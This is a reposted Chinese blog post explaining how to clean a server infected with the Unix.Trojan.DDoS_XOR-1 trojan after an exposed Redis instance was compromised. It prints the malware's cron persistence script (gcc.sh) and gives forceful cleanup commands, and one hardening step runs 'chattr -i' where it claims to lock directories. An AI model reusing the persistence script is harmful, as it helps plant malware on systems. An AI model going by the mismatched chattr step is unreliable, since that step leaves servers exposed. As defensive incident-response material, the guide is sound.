1. 程式人生 > >Unix.Trojan.DDoS_XOR-1木馬癥狀及清理辦法

Unix.Trojan.DDoS_XOR-1木馬癥狀及清理辦法

xargs 服務 一個 str 擁有 修復 風險 一模一樣 for

轉http://blog.sina.com.cn/s/blog_8b79cd290102w7k9.html

http://www.cnblogs.com/IPYQ/p/6791256.html

問題原因

數字校園應用的REDIS緩存系統存在BUG,致使服務器被註入了入侵者自己生成的公匙,並上傳到了Redis的DATA目錄,最終獲取了服務器的root權限

影響範圍

數字校園采用的Redis版本存在bug,影響所有部署的數字校園服務器,需全部更新

處理過程-修復REDIS

1、更新REDIS版本

2、修改配置文件,使用"bind 127.0.0.1"指令將REDIS限制偵聽本地接口

3、啟用REDIS訪問密碼,增加"requirepass=bluefin_redis_secret"參數,"bluefin_redis_secret"為數字校園連接redis的密碼

處理過程-刪除病毒:

1、使用clamav進行掃描,確定感染的文件目錄

添加EPEL源,通過yum安裝clamav並更新病毒庫

yum install clamav && freshclam

clamav是一個開源的病毒庫查殺工具,能識別病毒,但查殺能力極為有限,只能在掃描期刪除病毒文件,對擁有進程監控和自我復制的病毒無能為力。

根目錄掃描,確定受影響的文件和文件夾

clamscan -r --infected /

clamav掃描顯示/usr/bin目錄及/lib目錄出現病毒文件,最終發現了一個/lib/libudev.so文件,及/usr/bin/目錄下出現一些奇怪的可執行文件,確定為病毒。

2、嘗試過使用clamav刪除病毒,結果無效,clamav掃描結束後病毒進程更換程序名稱重新出現。病毒可執行文件位於/usr/bin/目錄,文件名為10個任意

字母組成,類似於“/usr/bin/kesabalwnw”,/etc/init.d目錄有個同名的啟動腳本/etc/init.d/kesabalwnw,用於開機自動啟動病毒程序。

物理刪除病毒或結束病毒進程無效,病毒會更換文件名,反復出現

3、經過分析發現/etc/cron.hourly多添加了一個gcc.sh腳本

腳本內容如下

#!/bin/sh
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin:/usr/X11R6/bin
for i in `cat /proc/net/dev|grep :|awk -F: {‘print $1‘}`; do ifconfig $i up& done
cp /lib/libudev.so /lib/libudev.so.6
/lib/libudev.so.6

5、通過netstat -tulnp指令,發現多了一個deamon服務,服務名稱使用常見的"who,watch,id,ifconfig“等關鍵字代替,強行結束後會自動重啟。linux上一般不存在

對應的系統服務,可懷疑跟病毒有關。可使用strace指令進行pid追蹤,比如追蹤pid為8572的進程,可查看該進程調用了哪些文件,對哪些文件進行了操作。

strace -tt -p 8572

在日誌中發現了"/libudev.so"的身影,證實多出來的daemon服務是病毒運行的。

6、病毒會在/etc/init.d目錄建立一個到多個10個字母組成的init腳本,腳本內容幾乎一模一樣,手動rm刪除

7、病毒會在/etc/rc.d/{rc0.d,rc1.d,rc2,d,rc3,d,rc4,d,rc5.d}下建立非常多的以S90和K90開頭的軟連接,鏈接/etc/init.d目錄下的病毒init腳本,可通過以下指令刪除

清理/etc/rc.d目錄,增加寫保護

 find . -type l -name "K90*" -o -name "S90*" |grep -v crond|xargs rm -f && chattr -R +i /etc/rc.d/

8、刪除/lib/libudev.so /lib/libudev.so.6並封鎖/lib目錄,禁止寫入操作

rm -f /lib/libudev.so&&chattr +i /lib

9、禁止其它高風險目錄的寫權限

chattr -i /lib64 /bin /sbin /usr/sbin /usr/local

10、查找運行病毒進程名稱,病毒為了防止被刪除,通常用父進程在檢測到病毒文件被物理刪除後,自動生成新的病毒文件。可通過下列指令找出病毒父進程

[[email protected] etc]# lsof -R |grep "/usr/bin"
python    2197    1  root  txt       REG              253,0      4864    2099101 /usr/bin/python
hiiszdvzd 2354    1  root  txt       REG              253,0    625729    2100934 /usr/bin/hiiszdvzdv
 

11、去除父進程執行權限並縮短/usr/bin目錄,防止病毒在/usr/bin生成新病毒文件

chmod 000 /usr/bin/hiiszdvzdv && chattr +i /usr/bin

12、去除後病毒主進程

ps aux|grep -i hiiszdvzdv|awk ‘{print $2}‘|xargs kill -9

病毒捕獲到kill指令的SIGAL TERM結束指令後會嘗試在/usr/bin生成新病毒,但由於上一步驟禁止/usr/bin目錄寫入,這一過程會失敗

重新檢測/usr/bin目錄啟動的父進程可發現病毒進程已消失

[[email protected] etc]# lsof -R |grep "/usr/bin"
python    2197    1  root  txt       REG              253,0       4864    2099101 /usr/bin/python
[[email protected] etc]#
 

13、關閉服務器,用於flush內存,將駐留在內存中的病毒進程清除掉,註意此處必須為關閉,不能重啟。重啟服務器只會清空服務器引導階段所需的部分內存,不能保證徹底清除病毒。

14、開啟服務器,將關閉寫權限的目錄解禁

chattr -i -R /usr/bin /lib /lib64 /etc/init.d /etc/rc.d /usr/sbin /usr/local

15、使用clamav重新掃描,看是否有未清理幹凈的病毒文件殘留

clamscan -r --infected /

Unix.Trojan.DDoS_XOR-1木馬癥狀及清理辦法